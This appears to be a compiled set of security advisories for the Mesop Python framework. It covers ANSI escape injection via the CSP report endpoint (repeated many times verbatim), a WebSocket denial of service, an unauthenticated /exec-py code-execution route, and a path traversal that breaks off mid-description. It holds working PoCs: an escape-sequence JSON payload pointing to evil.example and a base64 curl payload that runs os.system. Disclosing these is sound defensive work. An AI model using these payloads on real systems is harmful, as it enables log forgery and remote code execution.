mesop

Summary

The /__csp__ endpoint accepts unauthenticated JSON reports and logs user-controlled values directly to stdout using print() without escaping control characters.

A remote attacker can include ANSI/VT100 escape sequences in fields such as blocked-uri or document-uri. When the logs are viewed in an ANSI-capable terminal, these sequences can manipulate the displayed output (e.g., clear the screen, hide text, or inject misleading messages), affecting the integrity of operator-facing logs.

Details

The CSP reporting endpoint accepts arbitrary JSON and prints several request fields directly:

mesop/server/static_file_serving.py

@app.route(prefix_base_url("/__csp__"), methods=["POST"])
def csp_report():
    report = request.get_json(force=True)

    document_uri = report["csp-report"]["document-uri"]
    blocked_uri = report["csp-report"]["blocked-uri"]
    violated_directive = report["csp-report"]["violated-directive"]

    print(f"... Blocked URL: {blocked_uri} ...")

Since these values are written to stdout without sanitization, ANSI escape sequences supplied by a remote client are preserved and interpreted by ANSI-compatible terminals.

PoC

Send the following request:

POST /__csp__
Content-Type: application/json

{
  "csp-report": {
    "document-uri": "https://victim.example",
    "blocked-uri": "\u001b[2J\u001b[H\u001b[32m*** SECURITY OK - No CSP violations found ***\u001b[0m\n\u001b[8mhttps://evil.example",
    "violated-directive": "script-src-elem"
  }
}

The request is accepted (HTTP 204), and the injected escape sequences are written to stdout unchanged.

When the captured output is rendered in a VT100-compatible terminal (verified using pyte), the original CSP warning is visually replaced with attacker-controlled content.

Expected output

    Content Security Policy Error

Directive: script-src-elem
Blocked URL: ...
App path: /app

Rendered output

*** SECURITY OK - No CSP violations found ***
https://evil.example
App path: /app

Impact

An unauthenticated remote attacker can submit a crafted request to the /csp endpoint containing ANSI/VT100 escape sequences. Because these values are written directly to stdout without sanitization, an attacker can:

1. Inject forged log messages that appear to originate from the application.
2. Manipulate the terminal display by clearing the screen, moving the cursor, or overwriting previously displayed log output.
3. Hide or disguise security-relevant log entries using terminal formatting sequences such as colors, hidden text, or cursor positioning.
4. Mislead administrators during monitoring or incident response by displaying attacker-controlled messages (e.g., fake "SECURITY OK" notifications).
5. Reduce the integrity and trustworthiness of operator-facing logs, making troubleshooting and security investigations less reliable.

Summary

The /__csp__ endpoint accepts unauthenticated JSON reports and logs user-controlled values directly to stdout using print() without escaping control characters.

A remote attacker can include ANSI/VT100 escape sequences in fields such as blocked-uri or document-uri. When the logs are viewed in an ANSI-capable terminal, these sequences can manipulate the displayed output (e.g., clear the screen, hide text, or inject misleading messages), affecting the integrity of operator-facing logs.

Details

The CSP reporting endpoint accepts arbitrary JSON and prints several request fields directly:

mesop/server/static_file_serving.py

@app.route(prefix_base_url("/__csp__"), methods=["POST"])
def csp_report():
    report = request.get_json(force=True)

    document_uri = report["csp-report"]["document-uri"]
    blocked_uri = report["csp-report"]["blocked-uri"]
    violated_directive = report["csp-report"]["violated-directive"]

    print(f"... Blocked URL: {blocked_uri} ...")

Since these values are written to stdout without sanitization, ANSI escape sequences supplied by a remote client are preserved and interpreted by ANSI-compatible terminals.

PoC

Send the following request:

POST /__csp__
Content-Type: application/json

{
  "csp-report": {
    "document-uri": "https://victim.example",
    "blocked-uri": "\u001b[2J\u001b[H\u001b[32m*** SECURITY OK - No CSP violations found ***\u001b[0m\n\u001b[8mhttps://evil.example",
    "violated-directive": "script-src-elem"
  }
}

The request is accepted (HTTP 204), and the injected escape sequences are written to stdout unchanged.

When the captured output is rendered in a VT100-compatible terminal (verified using pyte), the original CSP warning is visually replaced with attacker-controlled content.

Expected output

    Content Security Policy Error

Directive: script-src-elem
Blocked URL: ...
App path: /app

Rendered output

*** SECURITY OK - No CSP violations found ***
https://evil.example
App path: /app

Impact

An unauthenticated remote attacker can submit a crafted request to the /csp endpoint containing ANSI/VT100 escape sequences. Because these values are written directly to stdout without sanitization, an attacker can:

1. Inject forged log messages that appear to originate from the application.
2. Manipulate the terminal display by clearing the screen, moving the cursor, or overwriting previously displayed log output.
3. Hide or disguise security-relevant log entries using terminal formatting sequences such as colors, hidden text, or cursor positioning.
4. Mislead administrators during monitoring or incident response by displaying attacker-controlled messages (e.g., fake "SECURITY OK" notifications).
5. Reduce the integrity and trustworthiness of operator-facing logs, making troubleshooting and security investigations less reliable.

Summary

The /__csp__ endpoint accepts unauthenticated JSON reports and logs user-controlled values directly to stdout using print() without escaping control characters.

A remote attacker can include ANSI/VT100 escape sequences in fields such as blocked-uri or document-uri. When the logs are viewed in an ANSI-capable terminal, these sequences can manipulate the displayed output (e.g., clear the screen, hide text, or inject misleading messages), affecting the integrity of operator-facing logs.

Details

The CSP reporting endpoint accepts arbitrary JSON and prints several request fields directly:

mesop/server/static_file_serving.py

@app.route(prefix_base_url("/__csp__"), methods=["POST"])
def csp_report():
    report = request.get_json(force=True)

    document_uri = report["csp-report"]["document-uri"]
    blocked_uri = report["csp-report"]["blocked-uri"]
    violated_directive = report["csp-report"]["violated-directive"]

    print(f"... Blocked URL: {blocked_uri} ...")

Since these values are written to stdout without sanitization, ANSI escape sequences supplied by a remote client are preserved and interpreted by ANSI-compatible terminals.

PoC

Send the following request:

POST /__csp__
Content-Type: application/json

{
  "csp-report": {
    "document-uri": "https://victim.example",
    "blocked-uri": "\u001b[2J\u001b[H\u001b[32m*** SECURITY OK - No CSP violations found ***\u001b[0m\n\u001b[8mhttps://evil.example",
    "violated-directive": "script-src-elem"
  }
}

The request is accepted (HTTP 204), and the injected escape sequences are written to stdout unchanged.

When the captured output is rendered in a VT100-compatible terminal (verified using pyte), the original CSP warning is visually replaced with attacker-controlled content.

Expected output

    Content Security Policy Error

Directive: script-src-elem
Blocked URL: ...
App path: /app

Rendered output

*** SECURITY OK - No CSP violations found ***
https://evil.example
App path: /app

Impact

An unauthenticated remote attacker can submit a crafted request to the /csp endpoint containing ANSI/VT100 escape sequences. Because these values are written directly to stdout without sanitization, an attacker can:

1. Inject forged log messages that appear to originate from the application.
2. Manipulate the terminal display by clearing the screen, moving the cursor, or overwriting previously displayed log output.
3. Hide or disguise security-relevant log entries using terminal formatting sequences such as colors, hidden text, or cursor positioning.
4. Mislead administrators during monitoring or incident response by displaying attacker-controlled messages (e.g., fake "SECURITY OK" notifications).
5. Reduce the integrity and trustworthiness of operator-facing logs, making troubleshooting and security investigations less reliable.

Summary

The /__csp__ endpoint accepts unauthenticated JSON reports and logs user-controlled values directly to stdout using print() without escaping control characters.

A remote attacker can include ANSI/VT100 escape sequences in fields such as blocked-uri or document-uri. When the logs are viewed in an ANSI-capable terminal, these sequences can manipulate the displayed output (e.g., clear the screen, hide text, or inject misleading messages), affecting the integrity of operator-facing logs.

Details

The CSP reporting endpoint accepts arbitrary JSON and prints several request fields directly:

mesop/server/static_file_serving.py

@app.route(prefix_base_url("/__csp__"), methods=["POST"])
def csp_report():
    report = request.get_json(force=True)

    document_uri = report["csp-report"]["document-uri"]
    blocked_uri = report["csp-report"]["blocked-uri"]
    violated_directive = report["csp-report"]["violated-directive"]

    print(f"... Blocked URL: {blocked_uri} ...")

Since these values are written to stdout without sanitization, ANSI escape sequences supplied by a remote client are preserved and interpreted by ANSI-compatible terminals.

PoC

Send the following request:

POST /__csp__
Content-Type: application/json

{
  "csp-report": {
    "document-uri": "https://victim.example",
    "blocked-uri": "\u001b[2J\u001b[H\u001b[32m*** SECURITY OK - No CSP violations found ***\u001b[0m\n\u001b[8mhttps://evil.example",
    "violated-directive": "script-src-elem"
  }
}

The request is accepted (HTTP 204), and the injected escape sequences are written to stdout unchanged.

When the captured output is rendered in a VT100-compatible terminal (verified using pyte), the original CSP warning is visually replaced with attacker-controlled content.

Expected output

    Content Security Policy Error

Directive: script-src-elem
Blocked URL: ...
App path: /app

Rendered output

*** SECURITY OK - No CSP violations found ***
https://evil.example
App path: /app

Impact

An unauthenticated remote attacker can submit a crafted request to the /csp endpoint containing ANSI/VT100 escape sequences. Because these values are written directly to stdout without sanitization, an attacker can:

1. Inject forged log messages that appear to originate from the application.
2. Manipulate the terminal display by clearing the screen, moving the cursor, or overwriting previously displayed log output.
3. Hide or disguise security-relevant log entries using terminal formatting sequences such as colors, hidden text, or cursor positioning.
4. Mislead administrators during monitoring or incident response by displaying attacker-controlled messages (e.g., fake "SECURITY OK" notifications).
5. Reduce the integrity and trustworthiness of operator-facing logs, making troubleshooting and security investigations less reliable.

Summary

The /__csp__ endpoint accepts unauthenticated JSON reports and logs user-controlled values directly to stdout using print() without escaping control characters.

A remote attacker can include ANSI/VT100 escape sequences in fields such as blocked-uri or document-uri. When the logs are viewed in an ANSI-capable terminal, these sequences can manipulate the displayed output (e.g., clear the screen, hide text, or inject misleading messages), affecting the integrity of operator-facing logs.

Details

The CSP reporting endpoint accepts arbitrary JSON and prints several request fields directly:

mesop/server/static_file_serving.py

@app.route(prefix_base_url("/__csp__"), methods=["POST"])
def csp_report():
    report = request.get_json(force=True)

    document_uri = report["csp-report"]["document-uri"]
    blocked_uri = report["csp-report"]["blocked-uri"]
    violated_directive = report["csp-report"]["violated-directive"]

    print(f"... Blocked URL: {blocked_uri} ...")

Since these values are written to stdout without sanitization, ANSI escape sequences supplied by a remote client are preserved and interpreted by ANSI-compatible terminals.

PoC

Send the following request:

POST /__csp__
Content-Type: application/json

{
  "csp-report": {
    "document-uri": "https://victim.example",
    "blocked-uri": "\u001b[2J\u001b[H\u001b[32m*** SECURITY OK - No CSP violations found ***\u001b[0m\n\u001b[8mhttps://evil.example",
    "violated-directive": "script-src-elem"
  }
}

The request is accepted (HTTP 204), and the injected escape sequences are written to stdout unchanged.

When the captured output is rendered in a VT100-compatible terminal (verified using pyte), the original CSP warning is visually replaced with attacker-controlled content.

Expected output

    Content Security Policy Error

Directive: script-src-elem
Blocked URL: ...
App path: /app

Rendered output

*** SECURITY OK - No CSP violations found ***
https://evil.example
App path: /app

Impact

An unauthenticated remote attacker can submit a crafted request to the /csp endpoint containing ANSI/VT100 escape sequences. Because these values are written directly to stdout without sanitization, an attacker can:

1. Inject forged log messages that appear to originate from the application.
2. Manipulate the terminal display by clearing the screen, moving the cursor, or overwriting previously displayed log output.
3. Hide or disguise security-relevant log entries using terminal formatting sequences such as colors, hidden text, or cursor positioning.
4. Mislead administrators during monitoring or incident response by displaying attacker-controlled messages (e.g., fake "SECURITY OK" notifications).
5. Reduce the integrity and trustworthiness of operator-facing logs, making troubleshooting and security investigations less reliable.

Summary

The /__csp__ endpoint accepts unauthenticated JSON reports and logs user-controlled values directly to stdout using print() without escaping control characters.

A remote attacker can include ANSI/VT100 escape sequences in fields such as blocked-uri or document-uri. When the logs are viewed in an ANSI-capable terminal, these sequences can manipulate the displayed output (e.g., clear the screen, hide text, or inject misleading messages), affecting the integrity of operator-facing logs.

Details

The CSP reporting endpoint accepts arbitrary JSON and prints several request fields directly:

mesop/server/static_file_serving.py

@app.route(prefix_base_url("/__csp__"), methods=["POST"])
def csp_report():
    report = request.get_json(force=True)

    document_uri = report["csp-report"]["document-uri"]
    blocked_uri = report["csp-report"]["blocked-uri"]
    violated_directive = report["csp-report"]["violated-directive"]

    print(f"... Blocked URL: {blocked_uri} ...")

Since these values are written to stdout without sanitization, ANSI escape sequences supplied by a remote client are preserved and interpreted by ANSI-compatible terminals.

PoC

Send the following request:

POST /__csp__
Content-Type: application/json

{
  "csp-report": {
    "document-uri": "https://victim.example",
    "blocked-uri": "\u001b[2J\u001b[H\u001b[32m*** SECURITY OK - No CSP violations found ***\u001b[0m\n\u001b[8mhttps://evil.example",
    "violated-directive": "script-src-elem"
  }
}

The request is accepted (HTTP 204), and the injected escape sequences are written to stdout unchanged.

When the captured output is rendered in a VT100-compatible terminal (verified using pyte), the original CSP warning is visually replaced with attacker-controlled content.

Expected output

    Content Security Policy Error

Directive: script-src-elem
Blocked URL: ...
App path: /app

Rendered output

*** SECURITY OK - No CSP violations found ***
https://evil.example
App path: /app

Impact

An unauthenticated remote attacker can submit a crafted request to the /csp endpoint containing ANSI/VT100 escape sequences. Because these values are written directly to stdout without sanitization, an attacker can:

1. Inject forged log messages that appear to originate from the application.
2. Manipulate the terminal display by clearing the screen, moving the cursor, or overwriting previously displayed log output.
3. Hide or disguise security-relevant log entries using terminal formatting sequences such as colors, hidden text, or cursor positioning.
4. Mislead administrators during monitoring or incident response by displaying attacker-controlled messages (e.g., fake "SECURITY OK" notifications).
5. Reduce the integrity and trustworthiness of operator-facing logs, making troubleshooting and security investigations less reliable.

Summary

The /__csp__ endpoint accepts unauthenticated JSON reports and logs user-controlled values directly to stdout using print() without escaping control characters.

A remote attacker can include ANSI/VT100 escape sequences in fields such as blocked-uri or document-uri. When the logs are viewed in an ANSI-capable terminal, these sequences can manipulate the displayed output (e.g., clear the screen, hide text, or inject misleading messages), affecting the integrity of operator-facing logs.

Details

The CSP reporting endpoint accepts arbitrary JSON and prints several request fields directly:

mesop/server/static_file_serving.py

@app.route(prefix_base_url("/__csp__"), methods=["POST"])
def csp_report():
    report = request.get_json(force=True)

    document_uri = report["csp-report"]["document-uri"]
    blocked_uri = report["csp-report"]["blocked-uri"]
    violated_directive = report["csp-report"]["violated-directive"]

    print(f"... Blocked URL: {blocked_uri} ...")

Since these values are written to stdout without sanitization, ANSI escape sequences supplied by a remote client are preserved and interpreted by ANSI-compatible terminals.

PoC

Send the following request:

POST /__csp__
Content-Type: application/json

{
  "csp-report": {
    "document-uri": "https://victim.example",
    "blocked-uri": "\u001b[2J\u001b[H\u001b[32m*** SECURITY OK - No CSP violations found ***\u001b[0m\n\u001b[8mhttps://evil.example",
    "violated-directive": "script-src-elem"
  }
}

The request is accepted (HTTP 204), and the injected escape sequences are written to stdout unchanged.

When the captured output is rendered in a VT100-compatible terminal (verified using pyte), the original CSP warning is visually replaced with attacker-controlled content.

Expected output

    Content Security Policy Error

Directive: script-src-elem
Blocked URL: ...
App path: /app

Rendered output

*** SECURITY OK - No CSP violations found ***
https://evil.example
App path: /app

Impact

An unauthenticated remote attacker can submit a crafted request to the /csp endpoint containing ANSI/VT100 escape sequences. Because these values are written directly to stdout without sanitization, an attacker can:

1. Inject forged log messages that appear to originate from the application.
2. Manipulate the terminal display by clearing the screen, moving the cursor, or overwriting previously displayed log output.
3. Hide or disguise security-relevant log entries using terminal formatting sequences such as colors, hidden text, or cursor positioning.
4. Mislead administrators during monitoring or incident response by displaying attacker-controlled messages (e.g., fake "SECURITY OK" notifications).
5. Reduce the integrity and trustworthiness of operator-facing logs, making troubleshooting and security investigations less reliable.

Summary

The /__csp__ endpoint accepts unauthenticated JSON reports and logs user-controlled values directly to stdout using print() without escaping control characters.

A remote attacker can include ANSI/VT100 escape sequences in fields such as blocked-uri or document-uri. When the logs are viewed in an ANSI-capable terminal, these sequences can manipulate the displayed output (e.g., clear the screen, hide text, or inject misleading messages), affecting the integrity of operator-facing logs.

Details

The CSP reporting endpoint accepts arbitrary JSON and prints several request fields directly:

mesop/server/static_file_serving.py

@app.route(prefix_base_url("/__csp__"), methods=["POST"])
def csp_report():
    report = request.get_json(force=True)

    document_uri = report["csp-report"]["document-uri"]
    blocked_uri = report["csp-report"]["blocked-uri"]
    violated_directive = report["csp-report"]["violated-directive"]

    print(f"... Blocked URL: {blocked_uri} ...")

Since these values are written to stdout without sanitization, ANSI escape sequences supplied by a remote client are preserved and interpreted by ANSI-compatible terminals.

PoC

Send the following request:

POST /__csp__
Content-Type: application/json

{
  "csp-report": {
    "document-uri": "https://victim.example",
    "blocked-uri": "\u001b[2J\u001b[H\u001b[32m*** SECURITY OK - No CSP violations found ***\u001b[0m\n\u001b[8mhttps://evil.example",
    "violated-directive": "script-src-elem"
  }
}

The request is accepted (HTTP 204), and the injected escape sequences are written to stdout unchanged.

When the captured output is rendered in a VT100-compatible terminal (verified using pyte), the original CSP warning is visually replaced with attacker-controlled content.

Expected output

    Content Security Policy Error

Directive: script-src-elem
Blocked URL: ...
App path: /app

Rendered output

*** SECURITY OK - No CSP violations found ***
https://evil.example
App path: /app

Impact

An unauthenticated remote attacker can submit a crafted request to the /csp endpoint containing ANSI/VT100 escape sequences. Because these values are written directly to stdout without sanitization, an attacker can:

1. Inject forged log messages that appear to originate from the application.
2. Manipulate the terminal display by clearing the screen, moving the cursor, or overwriting previously displayed log output.
3. Hide or disguise security-relevant log entries using terminal formatting sequences such as colors, hidden text, or cursor positioning.
4. Mislead administrators during monitoring or incident response by displaying attacker-controlled messages (e.g., fake "SECURITY OK" notifications).
5. Reduce the integrity and trustworthiness of operator-facing logs, making troubleshooting and security investigations less reliable.

Summary

The /__csp__ endpoint accepts unauthenticated JSON reports and logs user-controlled values directly to stdout using print() without escaping control characters.

A remote attacker can include ANSI/VT100 escape sequences in fields such as blocked-uri or document-uri. When the logs are viewed in an ANSI-capable terminal, these sequences can manipulate the displayed output (e.g., clear the screen, hide text, or inject misleading messages), affecting the integrity of operator-facing logs.

Details

The CSP reporting endpoint accepts arbitrary JSON and prints several request fields directly:

mesop/server/static_file_serving.py

@app.route(prefix_base_url("/__csp__"), methods=["POST"])
def csp_report():
    report = request.get_json(force=True)

    document_uri = report["csp-report"]["document-uri"]
    blocked_uri = report["csp-report"]["blocked-uri"]
    violated_directive = report["csp-report"]["violated-directive"]

    print(f"... Blocked URL: {blocked_uri} ...")

Since these values are written to stdout without sanitization, ANSI escape sequences supplied by a remote client are preserved and interpreted by ANSI-compatible terminals.

PoC

Send the following request:

POST /__csp__
Content-Type: application/json

{
  "csp-report": {
    "document-uri": "https://victim.example",
    "blocked-uri": "\u001b[2J\u001b[H\u001b[32m*** SECURITY OK - No CSP violations found ***\u001b[0m\n\u001b[8mhttps://evil.example",
    "violated-directive": "script-src-elem"
  }
}

The request is accepted (HTTP 204), and the injected escape sequences are written to stdout unchanged.

When the captured output is rendered in a VT100-compatible terminal (verified using pyte), the original CSP warning is visually replaced with attacker-controlled content.

Expected output

    Content Security Policy Error

Directive: script-src-elem
Blocked URL: ...
App path: /app

Rendered output

*** SECURITY OK - No CSP violations found ***
https://evil.example
App path: /app

Impact

An unauthenticated remote attacker can submit a crafted request to the /csp endpoint containing ANSI/VT100 escape sequences. Because these values are written directly to stdout without sanitization, an attacker can:

1. Inject forged log messages that appear to originate from the application.
2. Manipulate the terminal display by clearing the screen, moving the cursor, or overwriting previously displayed log output.
3. Hide or disguise security-relevant log entries using terminal formatting sequences such as colors, hidden text, or cursor positioning.
4. Mislead administrators during monitoring or incident response by displaying attacker-controlled messages (e.g., fake "SECURITY OK" notifications).
5. Reduce the integrity and trustworthiness of operator-facing logs, making troubleshooting and security investigations less reliable.

Summary

The /__csp__ endpoint accepts unauthenticated JSON reports and logs user-controlled values directly to stdout using print() without escaping control characters.

A remote attacker can include ANSI/VT100 escape sequences in fields such as blocked-uri or document-uri. When the logs are viewed in an ANSI-capable terminal, these sequences can manipulate the displayed output (e.g., clear the screen, hide text, or inject misleading messages), affecting the integrity of operator-facing logs.

Details

The CSP reporting endpoint accepts arbitrary JSON and prints several request fields directly:

mesop/server/static_file_serving.py

@app.route(prefix_base_url("/__csp__"), methods=["POST"])
def csp_report():
    report = request.get_json(force=True)

    document_uri = report["csp-report"]["document-uri"]
    blocked_uri = report["csp-report"]["blocked-uri"]
    violated_directive = report["csp-report"]["violated-directive"]

    print(f"... Blocked URL: {blocked_uri} ...")

Since these values are written to stdout without sanitization, ANSI escape sequences supplied by a remote client are preserved and interpreted by ANSI-compatible terminals.

PoC

Send the following request:

POST /__csp__
Content-Type: application/json

{
  "csp-report": {
    "document-uri": "https://victim.example",
    "blocked-uri": "\u001b[2J\u001b[H\u001b[32m*** SECURITY OK - No CSP violations found ***\u001b[0m\n\u001b[8mhttps://evil.example",
    "violated-directive": "script-src-elem"
  }
}

The request is accepted (HTTP 204), and the injected escape sequences are written to stdout unchanged.

When the captured output is rendered in a VT100-compatible terminal (verified using pyte), the original CSP warning is visually replaced with attacker-controlled content.

Expected output

    Content Security Policy Error

Directive: script-src-elem
Blocked URL: ...
App path: /app

Rendered output

*** SECURITY OK - No CSP violations found ***
https://evil.example
App path: /app

Impact

An unauthenticated remote attacker can submit a crafted request to the /csp endpoint containing ANSI/VT100 escape sequences. Because these values are written directly to stdout without sanitization, an attacker can:

1. Inject forged log messages that appear to originate from the application.
2. Manipulate the terminal display by clearing the screen, moving the cursor, or overwriting previously displayed log output.
3. Hide or disguise security-relevant log entries using terminal formatting sequences such as colors, hidden text, or cursor positioning.
4. Mislead administrators during monitoring or incident response by displaying attacker-controlled messages (e.g., fake "SECURITY OK" notifications).
5. Reduce the integrity and trustworthiness of operator-facing logs, making troubleshooting and security investigations less reliable.

Mesop is a Python-based UI framework that allows users to build web applications. From version 1.2.3 to before version 1.2.5, an uncontrolled resource consumption vulnerability exists in the WebSocket implementation of the Mesop framework. An unauthenticated attacker can send a rapid succession of WebSocket messages, forcing the server to spawn an unbounded number of operating system threads. This leads to thread exhaustion and Out of Memory (OOM) errors, causing a complete Denial of Service (DoS) for any application built on the framework. This issue has been patched in version 1.2.5.

Summary

The /__csp__ endpoint accepts unauthenticated JSON reports and logs user-controlled values directly to stdout using print() without escaping control characters.

A remote attacker can include ANSI/VT100 escape sequences in fields such as blocked-uri or document-uri. When the logs are viewed in an ANSI-capable terminal, these sequences can manipulate the displayed output (e.g., clear the screen, hide text, or inject misleading messages), affecting the integrity of operator-facing logs.

Details

The CSP reporting endpoint accepts arbitrary JSON and prints several request fields directly:

mesop/server/static_file_serving.py

@app.route(prefix_base_url("/__csp__"), methods=["POST"])
def csp_report():
    report = request.get_json(force=True)

    document_uri = report["csp-report"]["document-uri"]
    blocked_uri = report["csp-report"]["blocked-uri"]
    violated_directive = report["csp-report"]["violated-directive"]

    print(f"... Blocked URL: {blocked_uri} ...")

Since these values are written to stdout without sanitization, ANSI escape sequences supplied by a remote client are preserved and interpreted by ANSI-compatible terminals.

PoC

Send the following request:

POST /__csp__
Content-Type: application/json

{
  "csp-report": {
    "document-uri": "https://victim.example",
    "blocked-uri": "\u001b[2J\u001b[H\u001b[32m*** SECURITY OK - No CSP violations found ***\u001b[0m\n\u001b[8mhttps://evil.example",
    "violated-directive": "script-src-elem"
  }
}

The request is accepted (HTTP 204), and the injected escape sequences are written to stdout unchanged.

When the captured output is rendered in a VT100-compatible terminal (verified using pyte), the original CSP warning is visually replaced with attacker-controlled content.

Expected output

    Content Security Policy Error

Directive: script-src-elem
Blocked URL: ...
App path: /app

Rendered output

*** SECURITY OK - No CSP violations found ***
https://evil.example
App path: /app

Impact

An unauthenticated remote attacker can submit a crafted request to the /csp endpoint containing ANSI/VT100 escape sequences. Because these values are written directly to stdout without sanitization, an attacker can:

1. Inject forged log messages that appear to originate from the application.
2. Manipulate the terminal display by clearing the screen, moving the cursor, or overwriting previously displayed log output.
3. Hide or disguise security-relevant log entries using terminal formatting sequences such as colors, hidden text, or cursor positioning.
4. Mislead administrators during monitoring or incident response by displaying attacker-controlled messages (e.g., fake "SECURITY OK" notifications).
5. Reduce the integrity and trustworthiness of operator-facing logs, making troubleshooting and security investigations less reliable.

Mesop is a Python-based UI framework that allows users to build web applications. From version 1.2.3 to before version 1.2.5, an uncontrolled resource consumption vulnerability exists in the WebSocket implementation of the Mesop framework. An unauthenticated attacker can send a rapid succession of WebSocket messages, forcing the server to spawn an unbounded number of operating system threads. This leads to thread exhaustion and Out of Memory (OOM) errors, causing a complete Denial of Service (DoS) for any application built on the framework. This issue has been patched in version 1.2.5.

Summary

The /__csp__ endpoint accepts unauthenticated JSON reports and logs user-controlled values directly to stdout using print() without escaping control characters.

A remote attacker can include ANSI/VT100 escape sequences in fields such as blocked-uri or document-uri. When the logs are viewed in an ANSI-capable terminal, these sequences can manipulate the displayed output (e.g., clear the screen, hide text, or inject misleading messages), affecting the integrity of operator-facing logs.

Details

The CSP reporting endpoint accepts arbitrary JSON and prints several request fields directly:

mesop/server/static_file_serving.py

@app.route(prefix_base_url("/__csp__"), methods=["POST"])
def csp_report():
    report = request.get_json(force=True)

    document_uri = report["csp-report"]["document-uri"]
    blocked_uri = report["csp-report"]["blocked-uri"]
    violated_directive = report["csp-report"]["violated-directive"]

    print(f"... Blocked URL: {blocked_uri} ...")

Since these values are written to stdout without sanitization, ANSI escape sequences supplied by a remote client are preserved and interpreted by ANSI-compatible terminals.

PoC

Send the following request:

POST /__csp__
Content-Type: application/json

{
  "csp-report": {
    "document-uri": "https://victim.example",
    "blocked-uri": "\u001b[2J\u001b[H\u001b[32m*** SECURITY OK - No CSP violations found ***\u001b[0m\n\u001b[8mhttps://evil.example",
    "violated-directive": "script-src-elem"
  }
}

The request is accepted (HTTP 204), and the injected escape sequences are written to stdout unchanged.

When the captured output is rendered in a VT100-compatible terminal (verified using pyte), the original CSP warning is visually replaced with attacker-controlled content.

Expected output

    Content Security Policy Error

Directive: script-src-elem
Blocked URL: ...
App path: /app

Rendered output

*** SECURITY OK - No CSP violations found ***
https://evil.example
App path: /app

Impact

An unauthenticated remote attacker can submit a crafted request to the /csp endpoint containing ANSI/VT100 escape sequences. Because these values are written directly to stdout without sanitization, an attacker can:

1. Inject forged log messages that appear to originate from the application.
2. Manipulate the terminal display by clearing the screen, moving the cursor, or overwriting previously displayed log output.
3. Hide or disguise security-relevant log entries using terminal formatting sequences such as colors, hidden text, or cursor positioning.
4. Mislead administrators during monitoring or incident response by displaying attacker-controlled messages (e.g., fake "SECURITY OK" notifications).
5. Reduce the integrity and trustworthiness of operator-facing logs, making troubleshooting and security investigations less reliable.

Mesop is a Python-based UI framework that allows users to build web applications. From version 1.2.3 to before version 1.2.5, an uncontrolled resource consumption vulnerability exists in the WebSocket implementation of the Mesop framework. An unauthenticated attacker can send a rapid succession of WebSocket messages, forcing the server to spawn an unbounded number of operating system threads. This leads to thread exhaustion and Out of Memory (OOM) errors, causing a complete Denial of Service (DoS) for any application built on the framework. This issue has been patched in version 1.2.5.

Summary

The /__csp__ endpoint accepts unauthenticated JSON reports and logs user-controlled values directly to stdout using print() without escaping control characters.

A remote attacker can include ANSI/VT100 escape sequences in fields such as blocked-uri or document-uri. When the logs are viewed in an ANSI-capable terminal, these sequences can manipulate the displayed output (e.g., clear the screen, hide text, or inject misleading messages), affecting the integrity of operator-facing logs.

Details

The CSP reporting endpoint accepts arbitrary JSON and prints several request fields directly:

mesop/server/static_file_serving.py

@app.route(prefix_base_url("/__csp__"), methods=["POST"])
def csp_report():
    report = request.get_json(force=True)

    document_uri = report["csp-report"]["document-uri"]
    blocked_uri = report["csp-report"]["blocked-uri"]
    violated_directive = report["csp-report"]["violated-directive"]

    print(f"... Blocked URL: {blocked_uri} ...")

Since these values are written to stdout without sanitization, ANSI escape sequences supplied by a remote client are preserved and interpreted by ANSI-compatible terminals.

PoC

Send the following request:

POST /__csp__
Content-Type: application/json

{
  "csp-report": {
    "document-uri": "https://victim.example",
    "blocked-uri": "\u001b[2J\u001b[H\u001b[32m*** SECURITY OK - No CSP violations found ***\u001b[0m\n\u001b[8mhttps://evil.example",
    "violated-directive": "script-src-elem"
  }
}

The request is accepted (HTTP 204), and the injected escape sequences are written to stdout unchanged.

When the captured output is rendered in a VT100-compatible terminal (verified using pyte), the original CSP warning is visually replaced with attacker-controlled content.

Expected output

    Content Security Policy Error

Directive: script-src-elem
Blocked URL: ...
App path: /app

Rendered output

*** SECURITY OK - No CSP violations found ***
https://evil.example
App path: /app

Impact

An unauthenticated remote attacker can submit a crafted request to the /csp endpoint containing ANSI/VT100 escape sequences. Because these values are written directly to stdout without sanitization, an attacker can:

1. Inject forged log messages that appear to originate from the application.
2. Manipulate the terminal display by clearing the screen, moving the cursor, or overwriting previously displayed log output.
3. Hide or disguise security-relevant log entries using terminal formatting sequences such as colors, hidden text, or cursor positioning.
4. Mislead administrators during monitoring or incident response by displaying attacker-controlled messages (e.g., fake "SECURITY OK" notifications).
5. Reduce the integrity and trustworthiness of operator-facing logs, making troubleshooting and security investigations less reliable.

Summary

An explicit web endpoint inside the ai/ testing module infrastructure directly ingests untrusted Python code strings unconditionally without authentication measures, yielding standard Unrestricted Remote Code Execution. Any individual capable of routing HTTP logic to this server block will gain explicit host-machine command rights.

Details

The AI codebase package includes a lightweight debugging Flask server inside ai/sandbox/wsgi_app.py. The /exec-py route accepts base_64 encoded raw string payloads inside the code parameter natively evaluated by a basic POST web request. It saves it rapidly to the operating system logic path and injects it recursively using execute_module(module_path...).

 # ai/sandbox/wsgi_app.py
@flask_app.route("/exec-py", methods=["POST"])
def exec_py_route():
  code = base64.urlsafe_b64decode(request.form.get("code"))
  # ... code is blindly written to file and forcefully executed

PoC

# Payload:
# import os
# os.system('echo "pwned by attacker" > /tmp/pwned.txt')
# 
# Base64 string represents the identical payload block above: 
# aW1wb3J0IG9zCm9zLnN5c3RlbSgnZWNobyAicHduZWQgYnkgYXR0YWNrZXIiID4gL3RtcC9wd25lZC50eHQnKQ==

curl -X POST http://<target_ip_address_hosting_sandbox>:port/exec-py \
 -H "Content-Type: application/x-www-form-urlencoded" \
 -d "code=aW1wb3J0IG9zCm9zLnN5c3RlbSgnZWNobyAicHduZWQgYnkgYXR0YWNrZXIiID4gL3RtcC9wd25lZC50eHQnKQ=="

# Validate exploitation target execution natively:
# $ cat /tmp/pwned.txt
# pwned by attacker

Impact

This presents trivial severity for systems publicly exposed or lacking strictly verified boundary firewalls due to absolute unauthenticated command injection privileges targeting the direct execution interpreter running this service sandbox.

Summary

A Path Traversal vulnerability allows any user (or attacker) supplying an untrusted state_token through the UI stream payload to arbitrarily target files on the disk under the standard file-based runtime backend. This can result in application denial of service (via crash loops when reading non-msgpack target files as configurations), or arbitrary file manipulation.

Details

When the framework is configured to use the disk-based session backend (FileStateSessionBackend), the user's state_token actively dictates where the runtime session state is physically saved or queried natively on disk. In mesop/server/server.py, specifically the ui_stream endpoint, the event.state_token is collected directly from the untrusted incoming protobuf message struct: mesop.protos.ui_pb2.UserEvent. Because this is unconditionally passed to FileStateSessionBackend._make_file_path(self, token), it evaluates standard path operators (e.g. ../../../).

